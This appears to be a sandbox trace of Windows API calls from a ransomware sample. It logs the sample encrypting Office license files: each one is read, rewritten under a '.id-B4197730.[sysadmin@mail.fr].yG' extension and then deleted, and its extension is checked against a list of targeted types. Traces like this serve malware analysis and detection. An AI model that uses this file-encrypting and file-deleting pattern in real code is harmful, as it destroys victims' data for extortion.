	[0170.345] CloseHandle (hObject=0x558) returned 1
	[0170.346] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.346] SetEndOfFile (hFile=0x350) returned 1
	[0170.350] CloseHandle (hObject=0x350) returned 1
	[0170.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1
	[0170.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.352] lstrlenW (lpString=".doc") returned 4
	[0170.352] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.352] lstrlenW (lpString=".docx") returned 5
	[0170.352] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.352] lstrlenW (lpString=".pdf") returned 4
	[0170.352] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.352] lstrlenW (lpString=".xls") returned 4
	[0170.352] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.352] lstrlenW (lpString=".xlsx") returned 5
	[0170.352] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.353] lstrlenW (lpString=".ppt") returned 4
	[0170.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.353] lstrlenW (lpString=".zip") returned 4
	[0170.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString=".rar") returned 4
	[0170.353] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString=".bz2") returned 4
	[0170.353] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString=".7z") returned 3
	[0170.353] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.353] lstrlenW (lpString=".dbf") returned 4
	[0170.353] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.353] lstrlenW (lpString=".1cd") returned 4
	[0170.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0170.353] lstrlenW (lpString=".jpg") returned 4
	[0170.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.355] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11171) returned 1
	[0170.355] CloseHandle (hObject=0x350) returned 1
	[0170.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220
	[0170.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.356] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.356] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0170.357] GetLastError () returned 0x0
	[0170.357] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0170.392] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0170.394] ReadFile (in: hFile=0x350, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.394] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x110, lpOverlapped=0x0) returned 1
	[0170.394] SetEndOfFile (hFile=0x558) returned 1
	[0170.394] CloseHandle (hObject=0x558) returned 1
	[0170.394] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.394] SetEndOfFile (hFile=0x350) returned 1
	[0170.399] CloseHandle (hObject=0x350) returned 1
	[0170.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1
	[0170.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0170.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0170.999] lstrlenW (lpString=".doc") returned 4
	[0170.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.999] lstrlenW (lpString=".docx") returned 5
	[0170.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.000] lstrlenW (lpString=".pdf") returned 4
	[0171.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString=".xls") returned 4
	[0171.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString=".xlsx") returned 5
	[0171.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.000] lstrlenW (lpString=".ppt") returned 4
	[0171.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0171.000] lstrlenW (lpString=".zip") returned 4
	[0171.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString=".rar") returned 4
	[0171.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString=".bz2") returned 4
	[0171.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString=".7z") returned 3
	[0171.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0171.000] lstrlenW (lpString=".dbf") returned 4
	[0171.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0171.000] lstrlenW (lpString=".1cd") returned 4
	[0171.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0171.000] lstrlenW (lpString=".jpg") returned 4
	[0171.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.001] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=26525) returned 1
	[0171.001] CloseHandle (hObject=0x558) returned 1
	[0171.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220
	[0171.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0171.002] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.002] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0171.003] GetLastError () returned 0x0
	[0171.003] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x679d, lpOverlapped=0x0) returned 1
	[0171.041] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0171.042] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.042] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x108, lpOverlapped=0x0) returned 1
	[0171.043] SetEndOfFile (hFile=0x578) returned 1
	[0171.043] CloseHandle (hObject=0x578) returned 1
	[0171.043] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.043] SetEndOfFile (hFile=0x558) returned 1
	[0171.046] CloseHandle (hObject=0x558) returned 1
	[0171.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1
	[0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.048] lstrlenW (lpString=".doc") returned 4
	[0171.048] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".docx") returned 5
	[0171.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.048] lstrlenW (lpString=".pdf") returned 4
	[0171.048] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".xls") returned 4
	[0171.048] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".xlsx") returned 5
	[0171.048] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.048] lstrlenW (lpString=".ppt") returned 4
	[0171.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.048] lstrlenW (lpString=".zip") returned 4
	[0171.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".rar") returned 4
	[0171.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".bz2") returned 4
	[0171.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.048] lstrlenW (lpString=".7z") returned 3
	[0171.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.049] lstrlenW (lpString=".dbf") returned 4
	[0171.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.049] lstrlenW (lpString=".1cd") returned 4
	[0171.049] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0171.049] lstrlenW (lpString=".jpg") returned 4
	[0171.049] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.049] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11596) returned 1
	[0171.050] CloseHandle (hObject=0x558) returned 1
	[0171.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0171.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0171.051] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.051] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0171.052] GetLastError () returned 0x0
	[0171.052] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0171.057] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0171.058] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.058] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0171.058] SetEndOfFile (hFile=0x578) returned 1
	[0171.058] CloseHandle (hObject=0x578) returned 1
	[0171.058] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.058] SetEndOfFile (hFile=0x558) returned 1
	[0171.062] CloseHandle (hObject=0x558) returned 1
	[0171.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.064] lstrlenW (lpString=".doc") returned 4
	[0171.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.064] lstrlenW (lpString=".docx") returned 5
	[0171.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.064] lstrlenW (lpString=".pdf") returned 4
	[0171.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.064] lstrlenW (lpString=".xls") returned 4
	[0171.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.064] lstrlenW (lpString=".xlsx") returned 5
	[0171.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.064] lstrlenW (lpString=".ppt") returned 4
	[0171.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.065] lstrlenW (lpString=".zip") returned 4
	[0171.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString=".rar") returned 4
	[0171.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString=".bz2") returned 4
	[0171.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString=".7z") returned 3
	[0171.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.065] lstrlenW (lpString=".dbf") returned 4
	[0171.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.065] lstrlenW (lpString=".1cd") returned 4
	[0171.065] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79
	[0171.065] lstrlenW (lpString=".jpg") returned 4
	[0171.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.066] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11155) returned 1
	[0171.066] CloseHandle (hObject=0x558) returned 1
	[0171.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220
	[0171.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0171.067] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.067] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0171.068] GetLastError () returned 0x0
	[0171.068] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2b93, lpOverlapped=0x0) returned 1
	[0171.339] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0171.353] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.353] WriteFile (in: hFile=0x578, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x108, lpOverlapped=0x0) returned 1
	[0171.353] SetEndOfFile (hFile=0x578) returned 1
	[0171.549] CloseHandle (hObject=0x578) returned 1
	[0171.549] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.549] SetEndOfFile (hFile=0x558) returned 1
	[0171.554] CloseHandle (hObject=0x558) returned 1
	[0171.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1
	[0171.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.558] lstrlenW (lpString=".doc") returned 4
	[0171.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.558] lstrlenW (lpString=".docx") returned 5
	[0171.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.558] lstrlenW (lpString=".pdf") returned 4
	[0171.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.573] lstrlenW (lpString=".xls") returned 4
	[0171.573] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.573] lstrlenW (lpString=".xlsx") returned 5
	[0171.573] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.573] lstrlenW (lpString=".ppt") returned 4
	[0171.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
